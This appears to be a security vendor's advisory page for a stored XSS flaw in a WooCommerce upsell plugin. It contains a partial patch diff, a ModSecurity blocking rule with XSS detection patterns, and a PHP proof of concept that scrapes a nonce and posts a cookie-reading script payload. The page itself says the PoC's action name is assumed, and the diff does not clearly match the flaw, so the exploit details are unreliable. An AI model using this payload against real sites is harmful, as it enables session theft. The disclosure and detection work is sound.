+		wp_enqueue_style( 'wps-ubo-reco-admin', $base . 'admin/css/wps-ubo-reco-admin.css', array(), $this->version );
+		wp_enqueue_script( 'wps-ubo-reco-admin', $base . 'admin/js/wps-ubo-reco-admin.js', array( 'jquery', 'wc-enhanced-select' ), $this->version, true );
+
+		wp_localize_script(
+			'wps-ubo-reco-admin',
+			'wpsUboReco',
+			array(
+				'ajaxUrl' => admin_url( 'admin-ajax.php' ),
+				'nonce'   => wp_create_nonce( self::NONCE_ACTION ),
+				'i18n'    => array(
+					'saved'         => __( 'Settings saved.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'training'      => __( 'Training runs in the background… you can leave this page; the status updates here when it finishes.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'trained'       => __( 'Model trained and published.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'deleted'       => __( 'Model deleted.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'confirmDelete' => __( 'Delete the trained model? Smart offers fall back to rule-based targeting until you train again.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'testing'       => __( 'Contacting the AI provider…', 'upsell-order-bump-offer-for-woocommerce' ),
+					'aiOk'          => __( 'AI connection works. Reply:', 'upsell-order-bump-offer-for-woocommerce' ),
+					'pickProducts'  => __( 'Pick at least one product.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'noRecs'        => __( 'No recommendation for these products yet (not enough purchase data, or nothing passes the thresholds).', 'upsell-order-bump-offer-for-woocommerce' ),
+					'noPairs'       => __( 'No associations yet. Train the model once you have orders.', 'upsell-order-bump-offer-for-woocommerce' ),
+					'never'         => __( 'Never', 'upsell-order-bump-offer-for-woocommerce' ),
+					'error'         => __( 'Something went wrong. Please reload and try again.', 'upsell-order-bump-offer-for-woocommerce' ),
+				),
+			)
+		);
+	}
+
+	/**
+	 * Render the page.
+	 *
+	 * @return void
+	 */
+	public function render_page() {
+		if ( ! current_user_can( self::CAPABILITY ) ) {
+			return;
+		}
+		$settings  = Upsell_Order_Bump_Reco_Db::get_settings();
+		$ai_status = Upsell_Order_Bump_Reco_Ai::status( $settings );
+		include plugin_dir_path( __FILE__ ) . 'partials/templates/wps-ubo-reco-display.php';
+	}
+
+	/**
+	 * Nonce + capability check for AJAX.
+	 *
+	 * @return void
+	 */
+	private function verify_request() {
+		check_ajax_referer( self::NONCE_ACTION, 'nonce' );
+		if ( ! current_user_can( self::CAPABILITY ) ) {
+			wp_send_json_error( array( 'message' => __( 'You are not allowed to do this.', 'upsell-order-bump-offer-for-woocommerce' ) ), 403 );
+		}
+	}
+
+	/**
+	 * AJAX: save settings.
+	 *
+	 * @return void
+	 */
+	public function ajax_save_settings() {
+		check_ajax_referer( self::NONCE_ACTION, 'nonce' );
+		if ( ! current_user_can( self::CAPABILITY ) ) {
+			wp_send_json_error( array( 'message' => __( 'You are not allowed to do this.', 'upsell-order-bump-offer-for-woocommerce' ) ), 403 );
+		}
+
+		$raw      = isset( $_POST['settings'] ) && is_array( $_POST['settings'] ) ? map_deep( wp_unslash( $_POST['settings'] ), 'sanitize_text_field' ) : array();
+		$settings = Upsell_Order_Bump_Reco_Db::sanitize_settings( $raw );
+
+		update_option( Upsell_Order_Bump_Reco_Db::SETTINGS_OPTION, $settings, true ); // Read on every front request: keep autoloaded.
+		Upsell_Order_Bump_Reco_Db::reschedule();
+
+		wp_send_json_success( $this->status_payload() );
+	}
+
+	/**
+	 * AJAX: train now. Queues a background run (Action Scheduler / WP-Cron); the page
+	 * polls wps_ubo_reco_status until it finishes, so long AI runs never hit request timeouts.
+	 *
+	 * @return void
+	 */
+	public function ajax_train() {
+		$this->verify_request();
+
+		Upsell_Order_Bump_Reco_Engine::recover_stale_status();
+		if ( Upsell_Order_Bump_Reco_Engine::is_locked() ) {
+			wp_send_json_error( array_merge( $this->status_payload(), array( 'message' => __( 'A training run is already in progress.', 'upsell-order-bump-offer-for-woocommerce' ) ) ) );
+		}
+
+		Upsell_Order_Bump_Reco_Db::update_model(
+			array(
+				'status'    => 'queued',
+				'queued_at' => time(),
+				'error'     => '',
+			)
+		);
+		Upsell_Order_Bump_Reco_Db::queue_training_now();
+
+		wp_send_json_success( $this->status_payload() );
+	}
+
+	/**
+	 * AJAX: current status.
+	 *
+	 * @return void
+	 */
+	public function ajax_status() {
+		$this->verify_request();
+		wp_send_json_success( $this->status_payload() );
+	}
+
+	/**
+	 * AJAX: delete model.
+	 *
+	 * @return void
+	 */
+	public function ajax_delete_model() {
+		$this->verify_request();
+		Upsell_Order_Bump_Reco_Db::delete_model();
+		wp_send_json_success( $this->status_payload() );
+	}
+
+	/**
+	 * AJAX: test the AI connector.
+	 *
+	 * @return void
+	 */
+	public function ajax_test_ai() {
+		check_ajax_referer( self::NONCE_ACTION, 'nonce' )

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136995
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:136995,phase:2,deny,status:403,chain,msg:'CVE-2026-136995 via Upsell Funnel Builder AJAX',severity:'CRITICAL',tag:'CVE-2026-136995'"
  SecRule ARGS_POST:action "@streq save_form_data" "chain"
    SecRule ARGS_POST:form_data "@rx <script|javascript:|onerror=|onload=" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136995 - Upsell Funnel Builder for WooCommerce <= 3.1.7 - Unauthenticated Stored XSS via 'form_data' Parameter

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$ajax_endpoint = '/wp-admin/admin-ajax.php';
$vulnerable_action = 'save_form_data'; // Assumed action name; may vary

// Step 1: Fetch the nonce from a page that includes it (e.g., cart page)
$cart_url = $target_url . '/cart/'; // Or checkout page, or any page with the shortcode
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $cart_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from JavaScript or HTML (e.g., in a localized script object)
// This regex looks for a typical nonce variable; adjust based on actual page source
if (preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches)) {
    $nonce = $matches[1];
} else {
    die("Nonce not found. Check the page source for the nonce variable.n");
}

// Step 2: Craft malicious payload
$payload = '<script>alert(document.cookie);</script>';
$post_data = array(
    'action' => $vulnerable_action,
    'nonce' => $nonce,
    'form_data' => $payload
);

// Step 3: Send POST request to AJAX endpoint
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $ajax_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Exploit sent. Check if payload is stored and executed.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.